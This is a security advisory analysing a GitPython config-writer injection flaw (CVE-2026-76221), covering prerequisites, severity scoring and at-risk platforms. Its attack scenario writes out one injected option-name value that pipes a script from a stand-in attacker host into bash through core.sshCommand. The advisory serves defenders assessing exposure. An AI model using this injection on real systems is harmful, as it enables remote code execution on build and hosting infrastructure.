GitPython CVE-2026-76221

Exploitation requires that the embedding application forwards a caller-influenced value as the option-name argument (second positional parameter) to repo.config_writer().set_value(section, option_name, value) - the same name-control model cited in the related advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w. The application need not run in any special configuration mode; the vulnerability exists in GitPython's default installation. The core.sshCommand injection path fires on any subsequent SSH-based git operation and does not require staged files; the core.hooksPath path additionally requires a staged hook file to be present in the repository. GitPython must be version 3.1.57 or earlier. Exploitation is blocked where applications use hardcoded option names with no caller influence over the option-name parameter, or where the git config write path is entirely unavailable to external users.

The vendor-provided CVSS 4.0 score of 8.7 uses AC:L and AT:N, reflecting the assessment that once user-controlled input reaches the config writer, exploitation is trivial and low-complexity. However, a structurally important prerequisite exists: the embedding application must expose attacker-influenced data as the option-name parameter to set_value() - applications using hardcoded option names are not exploitable. Real-world risk is therefore highly context-dependent. Platforms most at risk include CI/CD systems, Git hosting services, and developer tooling that accepts user-supplied repository metadata and writes it through GitPython's config API. The core.sshCommand injection vector fires on any SSH-based git operation without staged files, making it more readily triggerable than the core.hooksPath vector which requires a staged hook. A proof-of-concept is confirmed in the GHSA advisory and independently reproduced. No CISA KEV listing exists and no EPSS score was available at time of analysis, so exploitation in the wild is unconfirmed. CVSS PR:L (low privilege) accurately reflects that an authenticated but unprivileged user of the embedding application is sufficient - admin access is not required. The gap between AC:L in the provided vector and the actual deployment prerequisite means defenders should evaluate whether their specific application exposes this code path before treating this as universally critical.

An attacker with a low-privilege account on a CI/CD platform or Git hosting service submits a repository configuration request containing an option name such as sshCommand = curl http://attacker.example/shell.sh | bash #. The platform's backend, using GitPython's config writer, calls set_value('core', attacker_controlled_name, 'x') without sanitization. GitPython writes the forged core.sshCommand directive verbatim to the repository's git config; on the next SSH-based git operation triggered by any user or pipeline job, git executes the attacker's command with the privileges of the git process. A proof-of-concept demonstrating this exact flow is included in GHSA-jm78-9fvv-mhgr and was independently reproduced by the advisory authors.